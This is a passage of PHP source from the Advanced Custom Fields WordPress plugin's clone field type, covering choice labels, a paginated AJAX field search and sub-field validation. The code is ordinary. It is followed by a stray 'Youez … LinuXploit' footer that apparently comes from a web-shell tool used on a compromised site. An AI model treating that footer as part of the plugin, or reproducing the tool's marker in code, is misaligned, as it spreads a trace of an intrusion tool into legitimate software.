		if( acf_is_field_key($selector) ) {
			
			return $this->get_clone_setting_field_choice( acf_get_field($selector) );
			
		}
		
		
		// group
		if( acf_is_field_group_key($selector) ) {
			
			return $this->get_clone_setting_group_choice( acf_get_field_group($selector) );
			
		} 
		
		
		// return
		return $selector;
		
	}
	
	
	/*
	*  get_clone_setting_field_choice
	*
	*  This function will return the text for a field choice
	*
	*  @type	function
	*  @date	20/07/2016
	*  @since	5.4.0
	*
	*  @param	$field (array)
	*  @return	(string)
	*/
	
	function get_clone_setting_field_choice( $field ) {
		
		// bail early if no field
		if( !$field ) return __('Unknown field', 'acf');
		
		
		// title
		$title = $field['label'] ? $field['label'] : __('(no title)', 'acf');
					
		
		// append type
		$title .= ' (' . $field['type'] . ')';
		
		
		// ancestors
		// - allow for AJAX to send through ancestors count
		$ancestors = isset($field['ancestors']) ? $field['ancestors'] : count(acf_get_field_ancestors($field));
		$title = str_repeat('- ', $ancestors) . $title;
		
		
		// return
		return $title;
		
	}
	
	
	/*
	*  get_clone_setting_group_choice
	*
	*  This function will return the text for a group choice
	*
	*  @type	function
	*  @date	20/07/2016
	*  @since	5.4.0
	*
	*  @param	$field_group (array)
	*  @return	(string)
	*/
	
	function get_clone_setting_group_choice( $field_group ) {
		
		// bail early if no field group
		if( !$field_group ) return __('Unknown field group', 'acf');
		
		
		// return
		return sprintf( __('All fields from %s field group', 'acf'), $field_group['title'] );
		
	}
	
	
	/*
	*  ajax_query
	*
	*  description
	*
	*  @type	function
	*  @date	17/06/2016
	*  @since	5.3.8
	*
	*  @param	$post_id (int)
	*  @return	$post_id (int)
	*/
	
	function ajax_query() {
		
		// validate
		if( !acf_verify_ajax() ) die();
		
		
		// disable field to allow clone fields to appear selectable
		acf_disable_filter('clone');
		
		
   		// options
   		$options = acf_parse_args($_POST, array(
			'post_id'	=> 0,
			'paged'		=> 0,
			's'			=> '',
			'title'		=> '',
			'fields'	=> array()
		));
		
		
		// vars
		$results = array();
		$s = false;
		$i = -1;
		$limit = 20;
		$range_start = $limit * ($options['paged']-1); 	//	0,	20,	40
		$range_end = $range_start + ($limit-1);			//	19,	39,	59
		
		
		// search
		if( $options['s'] !== '' ) {
			
			// strip slashes (search may be integer)
			$s = wp_unslash( strval($options['s']) );
			
		}		
		
		
		// load groups
		$field_groups = acf_get_field_groups();
		$field_group = false;
		
		
		// bail early if no field groups
		if( empty($field_groups) ) die();
		
		
		// move current field group to start
		foreach( array_keys($field_groups) as $j ) {
			
			// check ID
			if( $field_groups[ $j ]['ID'] !== $options['post_id'] ) continue;
			
			
			// extract field group and move to start
			$field_group = acf_extract_var($field_groups, $j);
			
			
			// field group found, stop looking
			break;
			
		}
		
		
		// if field group was not found, this is a new field group (not yet saved)
		if( !$field_group ) {
			
			$field_group = array(
				'ID'	=> $options['post_id'],
				'title'	=> $options['title'],
				'key'	=> '',
			);
			
		}
		
		
		// move current field group to start of list
		array_unshift($field_groups, $field_group);
		
		
		// loop
		foreach( $field_groups as $field_group ) {
			
			// vars
			$fields = false;
			$data = array(
				'text'		=> $field_group['title'],
				'children'	=> array()
			);
			
			
			// get fields
			if( $field_group['ID'] == $options['post_id'] ) {
				
				$fields = $options['fields'];
				
			} else {
				
				$fields = acf_get_fields( $field_group );
				$fields = acf_prepare_fields_for_import( $fields );
			
			}
			
			
			// bail early if no fields
			if( !$fields ) continue;
			
			
			// populate children
			$children = array();
			$children[] = $field_group['key'];
			foreach( $fields as $field ) { $children[] = $field['key']; }
			
			
			// loop
			foreach( $children as $child ) {
				
				// bail ealry if no key (fake field group or corrupt field)
				if( !$child ) continue;
				
				
				// vars
				$text = false;
				
				
				// bail early if is search, and $text does not contain $s
				if( $s !== false ) {
					
					// get early
					$text = $this->get_clone_setting_choice( $child );
					
					
					// search
					if( stripos($text, $s) === false ) continue;
					
				}
				
				
				// $i
				$i++;
				
				
				// bail early if $i is out of bounds
				if( $i < $range_start || $i > $range_end ) continue;
				
				
				
				// load text
				if( $text === false ) $text = $this->get_clone_setting_choice( $child );
				
				
				// append
				$data['children'][] = array(
					'id'	=> $child,
					'text'	=> $text
				);
				
			}
			
			
			// bail early if no children
			// - this group contained fields, but none shown on this page
			if( empty($data['children']) ) continue;
			
			
			// append
			$results[] = $data;
			
			
			// end loop if $i is out of bounds
			// - no need to look further
			if( $i > $range_end ) break;
				
		}
		
		
		// return
		acf_send_ajax_results(array(
			'results'	=> $results,
			'limit'		=> $limit
		));
		
	}
	
	
	/*
	*  acf_prepare_field
	*
	*  This function will restore a field's key ready for input
	*
	*  @type	function
	*  @date	6/09/2016
	*  @since	5.4.0
	*
	*  @param	$field (array)
	*  @return	$field
	*/
	
	function acf_prepare_field( $field ) {
		
		// bail ealry if not cloned
		if( empty($field['__key']) ) return $field;
		
		
		// restore
		$field['key'] = $field['__key'];
		
		
		// return
		return $field;
		
	}
	
	
	/*
	*  validate_value
	*
	*  description
	*
	*  @type	function
	*  @date	11/02/2014
	*  @since	5.0.0
	*
	*  @param	$post_id (int)
	*  @return	$post_id (int)
	*/
	
	function validate_value( $valid, $value, $field, $input ){
		
		// bail early if no $value
		if( empty($value) ) return $valid;
		
		
		// bail early if no sub fields
		if( empty($field['sub_fields']) ) return $valid;
		
		
		// loop
		foreach( array_keys($field['sub_fields']) as $i ) {
			
			// get sub field
			$sub_field = $field['sub_fields'][ $i ];
			$k = $sub_field['key'];
			
			
			// bail early if valu enot set (conditional logic?)
			if( !isset($value[ $k ]) ) continue;
			
			
			// validate
			acf_validate_value( $value[ $k ], $sub_field, "{$input}[{$k}]" );
			
		}
		
		
		// return
		return $valid;
		
	}
	
}


// initialize
acf_register_field_type( new acf_field_clone() );

endif; // class_exists check

?>

Youez - 2016 - github.com/yon3zu
LinuXploit